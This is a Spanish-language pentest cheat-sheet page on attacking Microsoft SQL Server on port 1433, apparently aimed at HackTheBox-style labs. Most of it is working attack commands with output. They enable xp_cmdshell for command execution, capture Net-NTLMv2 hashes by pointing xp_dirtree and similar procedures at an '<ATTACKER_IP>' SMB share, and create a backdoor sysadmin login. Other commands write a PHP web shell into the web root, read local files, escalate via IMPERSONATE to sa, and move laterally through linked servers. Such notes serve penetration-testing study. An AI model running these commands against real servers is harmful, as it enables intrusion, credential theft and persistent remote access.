🪬
Gzzcoo Pentest Notes
HomeWalkthroughs
  • Home
  • ACTIVE DIRECTORY PENTESTING
    • Initial Enumeration
      • Enumerating users
    • Abusing Active Directory ACLs/ACEs
      • Shadow Credentials
      • GenericWrite
      • ForceChangePassword
    • Active Directory Certificate Services (ADCS)
    • Attacking Kerberos
    • BloodHound
    • Tools
      • bloodyAD
      • Kerbrute
      • Impacket
      • ldapsearch
      • PowerView.py
  • WINDOWS PENTESTING
    • Windows Privilege Escalation
      • Abusing Tokens
      • AD Recycle Bin Group
      • DnsAdmins to DomainAdmin
      • Dumping credentials
        • Credential Hunting
        • LSASS
        • NTDS.dit
        • SAM and SYSTEM
      • Server Operators Group
  • Windows Lateral Movement
    • Pass the Hash (PtH)
    • Pass the Ticket (PtT)
      • From Windows
      • From Linux
    • Pass the Cert (PtC)
  • File Transfer
    • PowerShell
    • Remote Desktop Protocol (RDP)
    • LOLBAS
    • Protected File Transfers
    • Catching Files over HTTP/S
    • Detection and Evading Detection
  • Reverse Shell
  • PowerShell
  • LINUX PENTESTING
    • Basic Enumeration
    • Linux Privilege Escalation
  • File Transfer
    • Protected File Transfers
    • Catching Files over HTTP/S
    • GTFOBins
  • Shells
  • Reverse Shell
  • Credential Hunting
  • Passwd, Shadow & Opasswd
  • NETWORK SERVICES PENTESTING
    • FTP Port (21)
    • SSH Port (22)
    • DNS Port (53)
    • SMB Port (139, 445)
    • MSSQL Port (1433)
    • MySQL Port (3306)
    • RDP Port (3389)
  • PostgreSQL Port (5432, 5433)
  • Attacking Email Services
  • Pivoting, Tunneling and Port Forwarding
  • WEB PENTESTING
    • Local File Inclusion (LFI)
  • LaTeX Injection
  • Cypher Injection
  • Cross-Site Scripting (XSS)
  • TOOLS
    • John The Ripper
    • NetExec
    • Smbmap
    • Evil-WinRM
  • REVERSING
    • Windows executables and DLL's
    • Android APK
Con tecnología de GitBook
LogoLogo

© 2025 Gzzcoo Corp.

En esta página
  • Connecting to database
  • Basic Enumeration
  • Remote Code Execution
  • xp_cmdshell component
  • Hash Stealing [Net-NTLMv2]
  • xp_dirtree component
  • Active Directory Users enumeration of MSSQL Injection (mssqli-duet)
  • Write Local Files
  • Read Local Files
  • Impersonating Existing Users in MSSQL
  • Communicate with Other Databases with MSSQL

¿Te fue útil?

Exportar como PDF
  1. NETWORK SERVICES PENTESTING

MSSQL Port (1433)

Connecting to database

Impacket-mssqlclient

SE DEBEN VERIFICAR AMBAS AUTENTICACIONES SIEMPRE PARA VERIFICAR ACCESO.

# Conectarse al MSSQL con autenticación SQL
impacket-mssqlclient dominio.htb/'user':'password'@10.10.10.10 2>/dev/null

# Conectarse al MSSQL con autenticación Windows
impacket-mssqlclient dominio.htb/'user':'password'@10.10.10.10 -windows-auth 2>/dev/null

Linux - SQSH

Para interactuar con MSSQL (Microsoft SQL Server) desde Linux podemos usar sqsh, o sqlcmd si estás usando Windows. Sqsh es mucho más que un simple prompt amigable. Está diseñado para ofrecer gran parte de la funcionalidad de un shell de comandos, como variables, alias, redirección, pipes, ejecución en segundo plano, control de trabajos, historial, sustitución de comandos y configuración dinámica. Podemos iniciar una sesión SQL interactiva de la siguiente forma:

gzzcoo@htb[/htb]$ sqsh -S 10.129.20.13 -U username -P Password123

Windows - SQLCMD

La utilidad sqlcmd nos permite ingresar instrucciones Transact-SQL, procedimientos del sistema y archivos de scripts a través de varios modos disponibles:

  • En la línea de comandos.

  • En el Editor de Consultas en modo SQLCMD.

  • En un archivo de script de Windows.

  • En un paso de trabajo del Agente de SQL Server ejecutado por el sistema operativo (Cmd.exe).

C:\htb> sqlcmd -S 10.129.20.13 -U username -P Password123

DBeaver

Video - Connecting to MSSQL DB using dbeaver


Basic Enumeration

# Obtener versión
select @@version;
# Obtener usuario actual
select user_name();
# Obtener nombres de las bases de datos
SELECT name FROM master.dbo.sysdatabases;
# Utilizar una base de datos
USE master

#Obtener tablas de una base de datos
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#Lista de servidores vinculados
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#Lista de usuarios
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Crear usuario con sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

Remote Code Execution

xp_cmdshell component

Se debe verificar al acceder a un MSSQL si podemos habilitar el componente xp_cmdshell para lograr ejecutar comandos arbitrarios en el equipo.

# Oneliner para habilitar el componente xp_cmdshell
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Nos aparecerá si se ha configurado correctamente o no. Verificar ejecución de comandos.
xp_cmdshell "whoami"

A través de la herramienta de nxc también podemos ejecutar comandos con xp_cmdshell.

# Ejecución de comandos xp_cmdshell a través de autenticación MSSQL (Local Auth)
nxc mssql 10.10.10.10 -u 'user' -p 'password' --local-auth -x 'whoami'

# Ejecución de comandos xp_cmdshell a través de autenticación Windows
nxc mssql 10.10.10.10 -u 'user' -p 'password' -x 'whoami'
nxc mssql 10.10.10.10 -u 'user' -p 'password' -d dominio.htb -x 'whoami'

Hash Stealing [Net-NTLMv2]

xp_dirtree component

Si disponemos del componente (xp_dirtree) habilitado, podemos probar lo siguiente para obtener un hash NTLMv2 y posteriormente crackear el hash.

Desde Kali podemos hacer uso de alguno de los métodos.

# Podemos hacer uso de responder para tener el servidor SMB montado y recibir el hash
responder -I tun0 -v 
 
# También podemos hacer uso de impacket-smbserver para recibir el hash
impacket-smbserver smbFolder $(pwd) -smb2support

Desde MSSQL podemos ejecutar los siguientes comandos, si todo funciona bien, en nuestro equipo atacante recibiremos un hash Net-NTLMv2 que podremos crackear posteriormente.

EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;

xp_dirtree '\\<ATTACKER_IP>\smbFolder\x';

EXEC master..xp_subdirs '\\<ATTACKER_IP>\smbFolder\x',1,1;

EXEC master..xp_fileexist '\\<ATTACKER_IP>\smbFolder\x',1,1;

A través de la herramienta de nxc también podemos abusar del componente xp_dirtree. Primero, en nuestra Kali levantamos el servidor SMB o el Responder.

# Hash Stealing xp_dirtree a través de autenticación MSSQL (Local Auth)
nxc mssql 10.10.10.10 -u 'user' -p 'password' --local-auth -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'

# Hash Stealing xp_dirtree a través de autenticación Windows
nxc mssql 10.10.10.10 -u 'user' -p 'password' -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'
nxc mssql 10.10.10.10 -u 'user' -p 'password' -d dominio.htb -q 'EXEC Master.dbo.xp_dirtree"\\<ATTACKER_IP>\x",1,1;'

Active Directory Users enumeration of MSSQL Injection (mssqli-duet)

Buscando más información sobre maneras de explotar un MSSQL, nos encontramos con el siguiente blog que nos indica como podemos intentar explotar este servicio para enumerar usuarios del Active Directory (AD) a través de inyecciones SQL para enumerar usuarios a través del Relative ID (RID).


Write Local Files

MSSQL - Enable Ole Automation Procedures

1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO

MSSQL - Create a File

1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO

Read Local Files

De forma predeterminada, MSSQL permite la lectura de cualquier archivo del sistema operativo al que la cuenta tenga acceso de lectura. Podemos usar la siguiente consulta SQL:

1> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
2> GO

BulkColumn

-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to hostnames. Each
# entry should be kept on an individual line. The IP address should

(1 rows affected)

Impersonating Existing Users in MSSQL

SQL Server tiene un permiso especial llamado IMPERSONATE, que permite al usuario que lo ejecuta asumir los permisos de otro usuario o login hasta que se restablezca el contexto o finalice la sesión. Vamos a ver cómo el privilegio IMPERSONATE puede llevar a una escalada de privilegios en SQL Server.

Identify Users that We Can Impersonate

Primero, necesitamos identificar qué usuarios podemos suplantar. Los usuarios con rol de sysadmin pueden suplantar a cualquiera por defecto, pero para los usuarios no administradores, los privilegios deben asignarse explícitamente.

Podemos usar la siguiente consulta para identificar los usuarios que podemos suplantar:

1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO

name
-----------------------------------------------
sa
ben
valentin

(3 rows affected)

Verifying our Current User and Role

Para hacernos una idea de las posibilidades de escalada de privilegios, vamos a verificar si nuestro usuario actual tiene el rol de sysadmin:

1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go

-----------
julio                                                                                                                    

(1 rows affected)

-----------
          0

(1 rows affected)

Como el valor devuelto es 0, indica que no tenemos el rol de sysadmin, pero sí podemos suplantar al usuario sa. Vamos a suplantar a ese usuario y ejecutar los mismos comandos.

Impersonating the SA User

1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO

-----------
sa

(1 rows affected)

-----------
          1

(1 rows affected)

Nota: Se recomienda ejecutar EXECUTE AS LOGIN dentro de la base de datos master, ya que todos los usuarios, por defecto, tienen acceso a esa base de datos.

Si el usuario que intentas suplantar no tiene acceso a la base de datos a la que estás conectado, se producirá un error.


Communicate with Other Databases with MSSQL

MSSQL tiene una opción de configuración llamada linked servers. Los linked servers suelen configurarse para permitir que el motor de base de datos ejecute sentencias Transact-SQL que incluyan tablas en otra instancia de SQL Server, o incluso en otro producto de base de datos como Oracle.

Si logramos obtener acceso a un servidor SQL que tiene un linked server configurado, podríamos ser capaces de movernos lateralmente hacia ese otro servidor de base de datos. Los administradores pueden configurar un linked server usando credenciales del servidor remoto, y si esas credenciales tienen privilegios de sysadmin, podríamos ejecutar comandos en la instancia SQL remota.

Veamos cómo podemos identificar y ejecutar consultas en servidores enlazados.

Identify linked Servers in MSSQL

1> SELECT srvname, isremote FROM sysservers
2> GO

srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0

(2 rows affected)

Como podemos ver en la salida de la consulta, tenemos el nombre del servidor y la columna isremote, donde 1 indica que es un servidor remoto, y 0 que es un linked server. Podemos consultar la Transact-SQL sysservers para más información.

A continuación, podemos intentar identificar el usuario usado en la conexión y sus privilegios. La instrucción EXECUTE puede utilizarse para enviar comandos directamente a los linked servers. Colocamos nuestro comando entre paréntesis y especificamos el nombre del linked server entre corchetes [ ].

1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO

------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019 (RTM sa_remote                                1

(1 rows affected)

Nota: si necesitamos usar comillas en nuestra consulta al linked server, debemos utilizar comillas simples dobles para escapar las comillas simples (''). Para ejecutar múltiples comandos a la vez, podemos separarlos con un punto y coma (;).

Como hemos visto, ahora podemos ejecutar consultas con privilegios de sysadmin sobre el linked server. Siendo sysadmin, tenemos control total sobre la instancia de SQL Server: podemos leer datos de cualquier base de datos o ejecutar comandos del sistema usando xp_cmdshell.

AnteriorSMB Port (139, 445)SiguienteMySQL Port (3306)

Última actualización hace 2 meses

¿Te fue útil?

Active Directory Enumeration via MSSQL InjectionAn Utsusemi of Keramas
Logo
GitHub - Keramas/mssqli-duet: SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcingGitHub
Logo